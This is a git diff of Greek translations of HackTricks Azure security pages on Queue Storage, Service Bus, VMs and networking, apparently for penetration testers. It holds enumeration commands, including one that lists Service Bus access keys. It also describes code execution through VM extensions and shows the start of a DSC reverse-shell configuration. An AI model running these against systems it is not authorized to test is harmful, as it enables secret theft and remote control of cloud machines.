* [https://learn.microsoft.com/en-us/azure/postgresql/flexible-server/overview](https://learn.microsoft.com/en-us/azure/postgresql/flexible-server/overview)
|
||||
- [https://learn.microsoft.com/en-us/azure/postgresql/](https://learn.microsoft.com/en-us/azure/postgresql/)
|
||||
- [https://learn.microsoft.com/en-us/azure/postgresql/flexible-server/service-overview](https://learn.microsoft.com/en-us/azure/postgresql/flexible-server/service-overview)
|
||||
- [https://learn.microsoft.com/en-us/azure/postgresql/flexible-server/overview](https://learn.microsoft.com/en-us/azure/postgresql/flexible-server/overview)
|
||||
|
||||
## Ανάβαση Δικαιωμάτων
|
||||
|
||||
{% content-ref url="../az-privilege-escalation/az-postgresql-privesc.md" %}
|
||||
[az-postgresql-privesc.md](../az-privilege-escalation/az-postgresql-privesc.md)
|
||||
{% endcontent-ref %}
|
||||
{{#ref}}
|
||||
../az-privilege-escalation/az-postgresql-privesc.md
|
||||
{{#endref}}
|
||||
|
||||
## Μετά την Εκμετάλλευση
|
||||
|
||||
{% content-ref url="../az-post-exploitation/az-postgresql-post-exploitation.md" %}
|
||||
[az-postgresql-post-exploitation.md](../az-post-exploitation/az-postgresql-post-exploitation.md)
|
||||
{% endcontent-ref %}
|
||||
{{#ref}}
|
||||
../az-post-exploitation/az-postgresql-post-exploitation.md
|
||||
{{#endref}}
|
||||
|
||||
## ToDo
|
||||
|
||||
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
## Basic Information
|
||||
|
||||
Το Azure Queue Storage είναι μια υπηρεσία στην πλατφόρμα cloud της Microsoft Azure που έχει σχεδιαστεί για την ουρά μηνυμάτων μεταξύ των συστατικών εφαρμογών, **επιτρέποντας ασύγχρονη επικοινωνία και αποσύνδεση**. Σας επιτρέπει να αποθηκεύετε έναν απεριόριστο αριθμό μηνυμάτων, το καθένα έως 64 KB σε μέγεθος, και υποστηρίζει λειτουργίες όπως η δημιουργία και η διαγραφή ουρών, η προσθήκη, η ανάκτηση, η ενημέρωση και η διαγραφή μηνυμάτων, καθώς και η διαχείριση μεταδεδομένων και πολιτικών πρόσβασης. Ενώ συνήθως επεξεργάζεται τα μηνύματα με τη μέθοδο πρώτου εισερχόμενου-πρώτου εξερχόμενου (FIFO), η αυστηρή FIFO δεν είναι εγγυημένη.
|
||||
Η Azure Queue Storage είναι μια υπηρεσία στην πλατφόρμα cloud της Microsoft Azure σχεδιασμένη για την ουρά μηνυμάτων μεταξύ των συστατικών εφαρμογών, **επιτρέποντας ασύγχρονη επικοινωνία και αποσύνδεση**. Σας επιτρέπει να αποθηκεύετε έναν απεριόριστο αριθμό μηνυμάτων, το καθένα έως 64 KB σε μέγεθος, και υποστηρίζει λειτουργίες όπως η δημιουργία και η διαγραφή ουρών, η προσθήκη, η ανάκτηση, η ενημέρωση και η διαγραφή μηνυμάτων, καθώς και η διαχείριση μεταδεδομένων και πολιτικών πρόσβασης. Ενώ συνήθως επεξεργάζεται τα μηνύματα με τη μέθοδο πρώτου εισερχόμενου-πρώτου εξερχόμενου (FIFO), η αυστηρή FIFO δεν εγγυάται.
|
||||
|
||||
### Enumeration
|
||||
|
||||
@@ -12,19 +12,19 @@
|
||||
{{#tab name="Az Cli" }}
|
||||
```bash
|
||||
# You need to know the --account-name of the storage (az storage account list)
|
||||
az storage queue list --account-name <storage_account>
|
||||
az storage queue list --account-name <storage_account> # --auth-mode login
|
||||
|
||||
# Queue Metadata
|
||||
az storage queue metadata show --name <queue_name> --account-name <storage_account>
|
||||
az storage queue metadata show --name <queue_name> --account-name <storage_account> # --auth-mode login
|
||||
|
||||
#Get ACL
|
||||
az storage queue policy list --queue-name <queue_name> --account-name <storage_account>
|
||||
az storage queue policy list --queue-name <queue_name> --account-name <storage_account> # --auth-mode login
|
||||
|
||||
# Get Messages (getting a message deletes it)
|
||||
az storage message get --queue-name <queue_name> --account-name <storage_account>
|
||||
az storage message get --queue-name <queue_name> --account-name <storage_account> # --auth-mode login
|
||||
|
||||
# Peek Messages
|
||||
az storage message peek --queue-name <queue_name> --account-name <storage_account>
|
||||
az storage message peek --queue-name <queue_name> --account-name <storage_account> # --auth-mode login
|
||||
```
|
||||
{{#endtab }}
|
||||
|
||||
@@ -64,7 +64,7 @@ $queueMessage.Value
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
### Ανύψωση Δικαιωμάτων
|
||||
### Κλιμάκωση Δικαιωμάτων
|
||||
|
||||
{{#ref}}
|
||||
../az-privilege-escalation/az-queue-privesc.md
|
||||
|
||||
@@ -9,7 +9,7 @@
|
||||
### Key Concepts
|
||||
|
||||
1. **Queues:** ο σκοπός του είναι να αποθηκεύει μηνύματα μέχρι να είναι έτοιμος ο παραλήπτης.
|
||||
- Τα μηνύματα είναι διατεταγμένα, χρονοσημανμένα και αποθηκεύονται με ανθεκτικότητα.
|
||||
- Τα μηνύματα είναι ταξινομημένα, χρονοσημανμένα και αποθηκευμένα με ανθεκτικότητα.
|
||||
- Παραδίδονται σε λειτουργία pull (ανάκτηση κατόπιν αιτήματος).
|
||||
- Υποστηρίζει επικοινωνία σημείου προς σημείο.
|
||||
2. **Topics:** Μηχανισμός δημοσίευσης-εγγραφής για μετάδοση.
|
||||
@@ -20,10 +20,10 @@
|
||||
|
||||
### Advance Features
|
||||
|
||||
Ορισμένα προηγμένα χαρακτηριστικά είναι:
|
||||
Ορισμένες προηγμένες δυνατότητες είναι:
|
||||
|
||||
- **Message Sessions**: Διασφαλίζει την επεξεργασία FIFO και υποστηρίζει πρότυπα αιτήματος-απάντησης.
|
||||
- **Auto-Forwarding**: Μεταφέρει μηνύματα μεταξύ ουρών ή θεμάτων στην ίδια περιοχή ονομάτων.
|
||||
- **Auto-Forwarding**: Μεταφέρει μηνύματα μεταξύ ουρών ή θεμάτων στην ίδια ζώνη ονομάτων.
|
||||
- **Dead-Lettering**: Καταγράφει τα μη παραδιδόμενα μηνύματα για ανασκόπηση.
|
||||
- **Scheduled Delivery**: Καθυστερεί την επεξεργασία μηνυμάτων για μελλοντικές εργασίες.
|
||||
- **Message Deferral**: Αναβάλλει την ανάκτηση μηνυμάτων μέχρι να είναι έτοιμα.
|
||||
@@ -35,7 +35,7 @@
|
||||
|
||||
### Authorization-Rule / SAS Policy
|
||||
|
||||
Οι πολιτικές SAS καθορίζουν τις άδειες πρόσβασης για τις οντότητες του Azure Service Bus namespace (Πιο Σημαντικό), ουρές και θέματα. Κάθε πολιτική έχει τα εξής συστατικά:
|
||||
Οι πολιτικές SAS καθορίζουν τις άδειες πρόσβασης για τις οντότητες του Azure Service Bus namespace (Η πιο σημαντική), ουρές και θέματα. Κάθε πολιτική έχει τα εξής συστατικά:
|
||||
|
||||
- **Permissions**: Επιλογές για να καθορίσετε τα επίπεδα πρόσβασης:
|
||||
- Manage: Παρέχει πλήρη έλεγχο της οντότητας, συμπεριλαμβανομένης της διαχείρισης ρυθμίσεων και αδειών.
|
||||
@@ -43,7 +43,7 @@
|
||||
- Listen: Επιτρέπει την λήψη μηνυμάτων από την οντότητα.
|
||||
- **Primary and Secondary Keys**: Αυτά είναι κρυπτογραφικά κλειδιά που χρησιμοποιούνται για τη δημιουργία ασφαλών tokens για την αυθεντικοποίηση πρόσβασης.
|
||||
- **Primary and Secondary Connection Strings**: Προρυθμισμένες συμβολοσειρές σύνδεσης που περιλαμβάνουν το endpoint και το κλειδί για εύκολη χρήση σε εφαρμογές.
|
||||
- **SAS Policy ARM ID**: Η διαδρομή Azure Resource Manager (ARM) προς την πολιτική για προγραμματιστική αναγνώριση.
|
||||
- **SAS Policy ARM ID**: Ο δρόμος Azure Resource Manager (ARM) προς την πολιτική για προγραμματιστική αναγνώριση.
|
||||
|
||||
### NameSpace
|
||||
|
||||
@@ -51,9 +51,8 @@ sku, authrorization rule,
|
||||
|
||||
### Enumeration
|
||||
|
||||
{% tabs %}
|
||||
{% tab title="az cli" %}
|
||||
{% code overflow="wrap" %}
|
||||
{{#tabs }}
|
||||
{{#tab name="az cli" }}
|
||||
```bash
|
||||
# Queue Enumeration
|
||||
az servicebus queue list --resource-group <MyResourceGroup> --namespace-name <MyNamespace>
|
||||
@@ -81,11 +80,9 @@ az servicebus queue authorization-rule list --resource-group <MyResourceGroup> -
|
||||
az servicebus topic authorization-rule list --resource-group <MyResourceGroup> --namespace-name <MyNamespace> --topic-name <MyTopic>
|
||||
az servicebus namespace authorization-rule keys list --resource-group <MyResourceGroup> --namespace-name <MyNamespace> --name <MyAuthRule>
|
||||
```
|
||||
{% endcode %}
|
||||
{% endtab %}
|
||||
{{#endtab }}
|
||||
|
||||
{% tab title="Az PowerShell" %}
|
||||
{% code overflow="wrap" %}
|
||||
{{#tab name="Az Powershell" }}
|
||||
```powershell
|
||||
Get-Command -Module Az.ServiceBus
|
||||
|
||||
@@ -128,9 +125,8 @@ Get-AzServiceBusSubscription -ResourceGroupName <ResourceGroupName> -NamespaceNa
|
||||
# Retrieves details of a specified topic in a Service Bus namespace.
|
||||
Get-AzServiceBusTopic -ResourceGroupName <ResourceGroupName> -NamespaceName <NamespaceName>
|
||||
```
|
||||
{% endcode %}
|
||||
{% endtab %}
|
||||
{% endtabs %}
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
|
||||
### Ανύψωση Δικαιωμάτων
|
||||
@@ -147,8 +143,8 @@ Get-AzServiceBusTopic -ResourceGroupName <ResourceGroupName> -NamespaceName <Nam
|
||||
|
||||
## Αναφορές
|
||||
|
||||
- https://learn.microsoft.com/en-us/powershell/module/az.servicebus/?view=azps-13.0.0
|
||||
- https://learn.microsoft.com/en-us/azure/service-bus-messaging/service-bus-messaging-overview
|
||||
- https://learn.microsoft.com/en-us/azure/service-bus-messaging/service-bus-quickstart-cli
|
||||
- [https://learn.microsoft.com/en-us/powershell/module/az.servicebus/?view=azps-13.0.0](https://learn.microsoft.com/en-us/powershell/module/az.servicebus/?view=azps-13.0.0)
|
||||
- [https://learn.microsoft.com/en-us/azure/service-bus-messaging/service-bus-messaging-overview](https://learn.microsoft.com/en-us/azure/service-bus-messaging/service-bus-messaging-overview)
|
||||
- [https://learn.microsoft.com/en-us/azure/service-bus-messaging/service-bus-quickstart-cli](https://learn.microsoft.com/en-us/azure/service-bus-messaging/service-bus-quickstart-cli)
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -19,11 +19,11 @@ az-azure-network.md
|
||||
- **Ζώνες Διαθεσιμότητας**: Οι ζώνες διαθεσιμότητας είναι διακριτές ομάδες κέντρων δεδομένων εντός μιας συγκεκριμένης περιοχής Azure που είναι φυσικά διαχωρισμένες για να ελαχιστοποιήσουν τον κίνδυνο να επηρεαστούν πολλές ζώνες από τοπικές διακοπές ή καταστροφές.
|
||||
- **Τύπος Ασφαλείας**:
|
||||
- **Τυπική Ασφάλεια**: Αυτός είναι ο προεπιλεγμένος τύπος ασφάλειας που δεν απαιτεί καμία συγκεκριμένη διαμόρφωση.
|
||||
- **Εμπιστευμένη Εκκίνηση**: Αυτός ο τύπος ασφάλειας ενισχύει την προστασία κατά των boot kits και του κακόβουλου λογισμικού επιπέδου πυρήνα χρησιμοποιώντας Secure Boot και Virtual Trusted Platform Module (vTPM).
|
||||
- **Εμπιστευμένες VMs**: Εκτός από μια εμπιστευμένη εκκίνηση, προσφέρει απομόνωση βασισμένη σε υλικό μεταξύ της VM, του hypervisor και της διαχείρισης του host, βελτιώνει την κρυπτογράφηση δίσκου και [**περισσότερα**](https://learn.microsoft.com/en-us/azure/confidential-computing/confidential-vm-overview)**.**
|
||||
- **Αυθεντικοποίηση**: Από προεπιλογή, δημιουργείται ένα νέο **κλειδί SSH**, αν και είναι δυνατόν να χρησιμοποιηθεί ένα δημόσιο κλειδί ή να χρησιμοποιηθεί ένα προηγούμενο κλειδί και το όνομα χρήστη από προεπιλογή είναι **azureuser**. Είναι επίσης δυνατό να διαμορφωθεί η χρήση **κωδικού πρόσβασης.**
|
||||
- **Εμπιστευτική Εκκίνηση**: Αυτός ο τύπος ασφάλειας ενισχύει την προστασία κατά των boot kits και του κακόβουλου λογισμικού επιπέδου πυρήνα χρησιμοποιώντας Secure Boot και Virtual Trusted Platform Module (vTPM).
|
||||
- **Εμπιστευτικές VMs**: Εκτός από μια εμπιστευτική εκκίνηση, προσφέρει απομόνωση βασισμένη σε υλικό μεταξύ της VM, του hypervisor και της διαχείρισης του host, βελτιώνει την κρυπτογράφηση δίσκων και [**περισσότερα**](https://learn.microsoft.com/en-us/azure/confidential-computing/confidential-vm-overview)**.**
|
||||
- **Αυθεντικοποίηση**: Από προεπιλογή, μια νέα **κλειδί SSH δημιουργείται**, αν και είναι δυνατόν να χρησιμοποιηθεί ένα δημόσιο κλειδί ή να χρησιμοποιηθεί ένα προηγούμενο κλειδί και το όνομα χρήστη από προεπιλογή είναι **azureuser**. Είναι επίσης δυνατόν να διαμορφωθεί η χρήση **κωδικού πρόσβασης.**
|
||||
- **Κρυπτογράφηση δίσκου VM:** Ο δίσκος κρυπτογραφείται σε κατάσταση αδράνειας από προεπιλογή χρησιμοποιώντας ένα κλειδί που διαχειρίζεται η πλατφόρμα.
|
||||
- Είναι επίσης δυνατό να ενεργοποιηθεί η **Κρυπτογράφηση στον host**, όπου τα δεδομένα θα κρυπτογραφούνται στον host πριν αποσταλούν στην υπηρεσία αποθήκευσης, εξασφαλίζοντας κρυπτογράφηση από άκρο σε άκρο μεταξύ του host και της υπηρεσίας αποθήκευσης ([**docs**](https://learn.microsoft.com/en-gb/azure/virtual-machines/disk-encryption#encryption-at-host---end-to-end-encryption-for-your-vm-data)).
|
||||
- Είναι επίσης δυνατόν να ενεργοποιηθεί η **Κρυπτογράφηση στον host**, όπου τα δεδομένα θα κρυπτογραφούνται στον host πριν αποσταλούν στην υπηρεσία αποθήκευσης, εξασφαλίζοντας κρυπτογράφηση από άκρο σε άκρο μεταξύ του host και της υπηρεσίας αποθήκευσης ([**docs**](https://learn.microsoft.com/en-gb/azure/virtual-machines/disk-encryption#encryption-at-host---end-to-end-encryption-for-your-vm-data)).
|
||||
- **Ομάδα ασφαλείας δικτύου NIC**:
|
||||
- **Καμία**: Βασικά ανοίγει κάθε θύρα
|
||||
- **Βασική**: Επιτρέπει εύκολα το άνοιγμα των εισερχόμενων θυρών HTTP (80), HTTPS (443), SSH (22), RDP (3389)
|
||||
@@ -50,7 +50,7 @@ az-azure-network.md
|
||||
- Το ίδιο ισχύει και για τα στιγμιότυπα
|
||||
- Από προεπιλογή είναι δυνατόν να **μοιραστεί ο δίσκος από όλα τα δίκτυα**, αλλά μπορεί επίσης να **περιοριστεί** μόνο σε ορισμένες **ιδιωτικές προσβάσεις** ή να **απενεργοποιηθεί εντελώς** η δημόσια και ιδιωτική πρόσβαση.
|
||||
- Το ίδιο ισχύει και για τα στιγμιότυπα
|
||||
- Είναι δυνατόν να **δημιουργηθεί ένα SAS URI** (μέγιστο 60 ημερών) για **εξαγωγή του δίσκου**, το οποίο μπορεί να διαμορφωθεί ώστε να απαιτεί αυθεντικοποίηση ή όχι
|
||||
- Είναι δυνατόν να **δημιουργηθεί ένα SAS URI** (μέγιστο 60 ημέρες) για **εξαγωγή του δίσκου**, το οποίο μπορεί να διαμορφωθεί ώστε να απαιτεί αυθεντικοποίηση ή όχι
|
||||
- Το ίδιο ισχύει και για τα στιγμιότυπα
|
||||
|
||||
{{#tabs}}
|
||||
@@ -77,9 +77,9 @@ Get-AzDisk -Name <DiskName> -ResourceGroupName <ResourceGroupName>
|
||||
## Εικόνες, Γκαλερί Εικόνων & Σημεία Επαναφοράς
|
||||
|
||||
Μια **εικόνα VM** είναι ένα πρότυπο που περιέχει το λειτουργικό σύστημα, τις ρυθμίσεις εφαρμογής και το σύστημα αρχείων που απαιτούνται για **τη δημιουργία μιας νέας εικονικής μηχανής (VM)**. Η διαφορά μεταξύ μιας εικόνας και ενός στιγμιότυπου δίσκου είναι ότι ένα στιγμιότυπο δίσκου είναι μια μόνο αναγνώσιμη, χρονικά καθορισμένη αντιγραφή ενός διαχειριζόμενου δίσκου, που χρησιμοποιείται κυρίως για αντίγραφα ασφαλείας ή αποσφαλμάτωση, ενώ μια εικόνα μπορεί να περιέχει **πολλούς δίσκους και έχει σχεδιαστεί για να χρησιμεύει ως πρότυπο για τη δημιουργία νέων VMs**.\
|
||||
Οι εικόνες μπορούν να διαχειρίζονται στην **ενότητα Εικόνες** του Azure ή μέσα σε **γκαλερί υπολογιστών Azure**, οι οποίες επιτρέπουν τη δημιουργία **εκδόσεων** και **κοινοποίηση** της εικόνας διασυνοριακά ή ακόμη και την καθιστούν δημόσια.
|
||||
Οι εικόνες μπορούν να διαχειρίζονται στην **ενότητα Εικόνες** του Azure ή μέσα σε **γκαλερί υπολογιστών Azure**, οι οποίες επιτρέπουν τη δημιουργία **εκδόσεων** και **κοινοποίηση** της εικόνας διασυνοριακά ή ακόμη και την δημοσιοποίησή της.
|
||||
|
||||
Ένα **σημείο επαναφοράς** αποθηκεύει τη διαμόρφωση της VM και **χρονικά καθορισμένα** στιγμιότυπα εφαρμογής-συνεπούς **όλων των διαχειριζόμενων δίσκων** που είναι συνδεδεμένοι με τη VM. Σχετίζεται με τη VM και ο σκοπός του είναι να μπορεί να επαναφέρει αυτή τη VM στην κατάσταση που ήταν σε εκείνο το συγκεκριμένο χρονικό σημείο.
|
||||
Ένα **σημείο επαναφοράς** αποθηκεύει τη διαμόρφωση του VM και **χρονικά καθορισμένα** στιγμιότυπα εφαρμογής-συνεπούς **όλων των διαχειριζόμενων δίσκων** που είναι συνδεδεμένοι με το VM. Σχετίζεται με το VM και ο σκοπός του είναι να μπορεί να επαναφέρει το VM σε αυτήν την συγκεκριμένη κατάσταση.
|
||||
|
||||
{{#tabs}}
|
||||
{{#tab name="az cli"}}
|
||||
@@ -144,7 +144,7 @@ Get-AzRestorePointCollection -Name <CollectionName> -ResourceGroupName <Resource
|
||||
|
||||
## Azure Site Recovery
|
||||
|
||||
Από τα [**docs**](https://learn.microsoft.com/en-us/azure/site-recovery/site-recovery-overview): Το Site Recovery βοηθά στην εξασφάλιση της επιχειρηματικής συνέχειας διατηρώντας τις επιχειρηματικές εφαρμογές και τα φορτία εργασίας σε λειτουργία κατά τη διάρκεια διακοπών. Το Site Recovery **αντιγράφει τα φορτία εργασίας** που εκτελούνται σε φυσικές και εικονικές μηχανές (VMs) από μια κύρια τοποθεσία σε μια δευτερεύουσα τοποθεσία. Όταν συμβεί μια διακοπή στην κύρια τοποθεσία σας, μεταβαίνετε σε μια δευτερεύουσα τοποθεσία και αποκτάτε πρόσβαση στις εφαρμογές από εκεί. Αφού η κύρια τοποθεσία λειτουργήσει ξανά, μπορείτε να επιστρέψετε σε αυτήν.
|
||||
Από τα [**docs**](https://learn.microsoft.com/en-us/azure/site-recovery/site-recovery-overview): Το Site Recovery βοηθά στην εξασφάλιση της επιχειρηματικής συνέχειας διατηρώντας τις επιχειρηματικές εφαρμογές και τα φορτία εργασίας σε λειτουργία κατά τη διάρκεια διακοπών. Το Site Recovery **αντιγράφει τα φορτία εργασίας** που εκτελούνται σε φυσικές και εικονικές μηχανές (VMs) από μια κύρια τοποθεσία σε μια δευτερεύουσα τοποθεσία. Όταν συμβεί μια διακοπή στην κύρια τοποθεσία σας, μεταβαίνετε σε μια δευτερεύουσα τοποθεσία και αποκτάτε πρόσβαση στις εφαρμογές από εκεί. Αφού η κύρια τοποθεσία είναι ξανά σε λειτουργία, μπορείτε να επιστρέψετε σε αυτήν.
|
||||
|
||||
## Azure Bastion
|
||||
|
||||
@@ -189,9 +189,9 @@ Get-AzBastion
|
||||
|
||||
## Μεταδεδομένα
|
||||
|
||||
Η Υπηρεσία Μεταδεδομένων Στιγμιότυπου Azure (IMDS) **παρέχει πληροφορίες σχετικά με τις εκτελούμενες εικονικές μηχανές** για να βοηθήσει στη διαχείριση και τη διαμόρφωσή τους. Προσφέρει λεπτομέρειες όπως το SKU, αποθήκευση, ρυθμίσεις δικτύου και πληροφορίες σχετικά με επερχόμενα γεγονότα συντήρησης μέσω **REST API διαθέσιμου στη μη δρομολογήσιμη διεύθυνση IP 169.254.169.254**, η οποία είναι προσβάσιμη μόνο από μέσα στη VM. Η επικοινωνία μεταξύ της VM και του IMDS παραμένει εντός του κεντρικού υπολογιστή, διασφαλίζοντας ασφαλή πρόσβαση. Όταν γίνεται ερώτηση στο IMDS, οι HTTP πελάτες μέσα στη VM θα πρέπει να παρακάμπτουν τους διαδικτυακούς μεσολαβητές για να διασφαλίσουν σωστή επικοινωνία.
|
||||
Η Υπηρεσία Μεταδεδομένων Εγκαταστάσεων Azure (IMDS) **παρέχει πληροφορίες σχετικά με τις τρέχουσες εικονικές μηχανές** για να βοηθήσει στη διαχείριση και τη διαμόρφωσή τους. Προσφέρει λεπτομέρειες όπως το SKU, αποθήκευση, ρυθμίσεις δικτύου και πληροφορίες σχετικά με προγραμματισμένα γεγονότα συντήρησης μέσω **REST API διαθέσιμου στη μη δρομολογήσιμη διεύθυνση IP 169.254.169.254**, η οποία είναι προσβάσιμη μόνο από μέσα στη VM. Η επικοινωνία μεταξύ της VM και του IMDS παραμένει εντός του κεντρικού υπολογιστή, διασφαλίζοντας ασφαλή πρόσβαση. Όταν γίνεται ερώτηση στο IMDS, οι HTTP πελάτες μέσα στη VM θα πρέπει να παρακάμπτουν τους διαδικτυακούς μεσολαβητές για να διασφαλίσουν σωστή επικοινωνία.
|
||||
|
||||
Επιπλέον, για να επικοινωνήσετε με το σημείο τερματισμού μεταδεδομένων, το HTTP αίτημα πρέπει να έχει την κεφαλίδα **`Metadata: true`** και δεν πρέπει να έχει την κεφαλίδα **`X-Forwarded-For`**.
|
||||
Επιπλέον, για να επικοινωνήσετε με το σημείο μεταδεδομένων, το HTTP αίτημα πρέπει να έχει την κεφαλίδα **`Metadata: true`** και δεν πρέπει να έχει την κεφαλίδα **`X-Forwarded-For`**.
|
||||
|
||||
Δείτε πώς να το απαριθμήσετε στο:
|
||||
|
||||
@@ -200,6 +200,9 @@ https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/
|
||||
{{#endref}}
|
||||
|
||||
## Απαρίθμηση VM
|
||||
|
||||
{{#tabs}}
|
||||
{{#tab name="az cli"}}
|
||||
```bash
|
||||
# VMs
|
||||
## List all VMs and get info about one
|
||||
@@ -335,7 +338,9 @@ az resource list --resource-type "Microsoft.Compute/virtualMachines" --query "[]
|
||||
# List all available run commands for virtual machines
|
||||
az vm run-command list --output table
|
||||
```
|
||||
{{#endtab }}
|
||||
|
||||
{{#tab name="Az Powershell" }}
|
||||
```bash
|
||||
# Get readable VMs
|
||||
Get-AzVM | fl
|
||||
@@ -427,13 +432,16 @@ Get-AzStorageAccount
|
||||
Get-AzVMExtension -VMName <VmName> -ResourceGroupName <ResourceGroupName>
|
||||
|
||||
```
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
## Εκτέλεση Κώδικα σε VMs
|
||||
|
||||
### Επεκτάσεις VM
|
||||
|
||||
Οι επεκτάσεις Azure VM είναι μικρές εφαρμογές που παρέχουν **διαμόρφωση μετά την ανάπτυξη** και αυτοματοποιημένες εργασίες σε εικονικές μηχανές Azure (VMs).
|
||||
Οι επεκτάσεις VM του Azure είναι μικρές εφαρμογές που παρέχουν **διαμόρφωση μετά την ανάπτυξη** και αυτοματοποιημένες εργασίες σε εικονικές μηχανές (VMs) του Azure.
|
||||
|
||||
Αυτό θα επιτρέψει να **εκτελούνται αυθαίρετοι κώδικες μέσα σε VMs**.
|
||||
Αυτό θα επιτρέψει την **εκτέλεση αυθαίρετου κώδικα μέσα σε VMs**.
|
||||
|
||||
Η απαιτούμενη άδεια είναι **`Microsoft.Compute/virtualMachines/extensions/write`**.
|
||||
|
||||
@@ -551,7 +559,7 @@ Set-AzVMAccessExtension -ResourceGroupName "<rsc-group>" -VMName "<vm-name>" -Na
|
||||
|
||||
<summary>DesiredStateConfiguration (DSC)</summary>
|
||||
|
||||
Αυτή είναι μια **επέκταση VM** που ανήκει στη Microsoft και χρησιμοποιεί το PowerShell DSC για να διαχειρίζεται τη διαμόρφωση των Azure Windows VMs. Επομένως, μπορεί να χρησιμοποιηθεί για **να εκτελεί αυθαίρετες εντολές** σε Windows VMs μέσω αυτής της επέκτασης:
|
||||
Αυτή είναι μια **επέκταση VM** που ανήκει στη Microsoft και χρησιμοποιεί το PowerShell DSC για να διαχειρίζεται τη διαμόρφωση των Azure Windows VMs. Επομένως, μπορεί να χρησιμοποιηθεί για να **εκτελεί αυθαίρετες εντολές** σε Windows VMs μέσω αυτής της επέκτασης:
|
||||
```bash
|
||||
# Content of revShell.ps1
|
||||
Configuration RevShellConfig {
|
||||
@@ -609,7 +617,7 @@ Set-AzVMDscExtension `
|
||||
|
||||
### Εφαρμογές VM
|
||||
|
||||
Αυτά είναι πακέτα με όλα τα **δεδομένα εφαρμογής και σενάρια εγκατάστασης και απεγκατάστασης** που μπορούν να χρησιμοποιηθούν για την εύκολη προσθήκη και αφαίρεση εφαρμογών σε VMs.
|
||||
Αυτά είναι πακέτα με όλα τα **δεδομένα εφαρμογής και σενάρια εγκατάστασης και απεγκατάστασης** που μπορούν να χρησιμοποιηθούν για να προσθέσουν και να αφαιρέσουν εύκολα εφαρμογές σε VMs.
|
||||
```bash
|
||||
# List all galleries in resource group
|
||||
az sig list --resource-group <res-group> --output table
|
||||
@@ -721,7 +729,7 @@ az vm application set \
|
||||
|
||||
### Δεδομένα χρήστη
|
||||
|
||||
Αυτά είναι **μόνιμα δεδομένα** που μπορούν να ανακτηθούν από το σημείο μεταδεδομένων οποιαδήποτε στιγμή. Σημειώστε ότι στο Azure τα δεδομένα χρήστη είναι διαφορετικά από το AWS και το GCP επειδή **αν τοποθετήσετε ένα σενάριο εδώ, δεν εκτελείται από προεπιλογή**.
|
||||
Αυτά είναι **επίμονα δεδομένα** που μπορούν να ανακτηθούν από το σημείο μεταδεδομένων οποιαδήποτε στιγμή. Σημειώστε ότι στο Azure, τα δεδομένα χρήστη είναι διαφορετικά από το AWS και το GCP επειδή **αν τοποθετήσετε ένα σενάριο εδώ, δεν εκτελείται από προεπιλογή**.
|
||||
|
||||
### Προσαρμοσμένα δεδομένα
|
||||
|
||||
|
||||
@@ -11,8 +11,8 @@
|
||||
|
||||
Ένα Εικονικό Δίκτυο Azure (VNet) είναι μια αναπαράσταση του δικού σας δικτύου στο cloud, παρέχοντας **λογική απομόνωση** μέσα στο περιβάλλον Azure που είναι αφιερωμένο στη συνδρομή σας. Τα VNets σας επιτρέπουν να προμηθεύεστε και να διαχειρίζεστε εικονικά ιδιωτικά δίκτυα (VPNs) στο Azure, φιλοξενώντας πόρους όπως Εικονικές Μηχανές (VMs), βάσεις δεδομένων και υπηρεσίες εφαρμογών. Προσφέρουν **πλήρη έλεγχο στις ρυθμίσεις δικτύου**, συμπεριλαμβανομένων των εύρους διευθύνσεων IP, της δημιουργίας υποδικτύων, των πινάκων δρομολόγησης και των πύλων δικτύου.
|
||||
|
||||
**Υποδίκτυα** είναι υποδιαιρέσεις μέσα σε ένα VNet, καθορισμένες από συγκεκριμένα **εύρη διευθύνσεων IP**. Με την τμηματοποίηση ενός VNet σε πολλαπλά υποδίκτυα, μπορείτε να οργανώσετε και να ασφαλίσετε πόρους σύμφωνα με την αρχιτεκτονική του δικτύου σας.\
|
||||
Από προεπιλογή, όλα τα υποδίκτυα μέσα στο ίδιο Εικονικό Δίκτυο Azure (VNet) **μπορούν να επικοινωνούν μεταξύ τους** χωρίς περιορισμούς.
|
||||
**Υποδίκτυα** είναι υποδιαιρέσεις εντός ενός VNet, που ορίζονται από συγκεκριμένα **εύρη διευθύνσεων IP**. Με την τμηματοποίηση ενός VNet σε πολλά υποδίκτυα, μπορείτε να οργανώσετε και να ασφαλίσετε τους πόρους σύμφωνα με την αρχιτεκτονική του δικτύου σας.\
|
||||
Από προεπιλογή, όλα τα υποδίκτυα εντός του ίδιου Εικονικού Δικτύου Azure (VNet) **μπορούν να επικοινωνούν μεταξύ τους** χωρίς περιορισμούς.
|
||||
|
||||
**Παράδειγμα:**
|
||||
|
||||
@@ -49,7 +49,7 @@ Select-Object Name, AddressPrefix
|
||||
|
||||
## Ομάδες Ασφαλείας Δικτύου (NSG)
|
||||
|
||||
Μια **Ομάδα Ασφαλείας Δικτύου (NSG)** φιλτράρει την κυκλοφορία δικτύου τόσο προς όσο και από πόρους Azure εντός ενός Azure Virtual Network (VNet). Περιέχει ένα σύνολο **κανόνων ασφαλείας** που μπορεί να υποδεικνύει **ποιοι θύρες να ανοίξουν για εισερχόμενη και εξερχόμενη κυκλοφορία** ανά θύρα προέλευσης, IP προέλευσης, προορισμό θύρας και είναι δυνατόν να ανατεθεί μια προτεραιότητα (όσο χαμηλότερος ο αριθμός προτεραιότητας, τόσο υψηλότερη η προτεραιότητα).
|
||||
Μια **Ομάδα Ασφαλείας Δικτύου (NSG)** φιλτράρει την κυκλοφορία δικτύου τόσο προς όσο και από πόρους Azure εντός ενός Azure Virtual Network (VNet). Περιέχει ένα σύνολο **κανόνων ασφαλείας** που μπορεί να υποδεικνύει **ποιοι θύρες να ανοίξουν για εισερχόμενη και εξερχόμενη κυκλοφορία** ανά θύρα προέλευσης, IP προέλευσης, προορισμό θύρας και είναι δυνατό να ανατεθεί μια προτεραιότητα (όσο χαμηλότερος είναι ο αριθμός προτεραιότητας, τόσο υψηλότερη είναι η προτεραιότητα).
|
||||
|
||||
Οι NSGs μπορούν να συσχετιστούν με **υποδίκτυα και NICs.**
|
||||
|
||||
@@ -58,7 +58,7 @@ Select-Object Name, AddressPrefix
|
||||
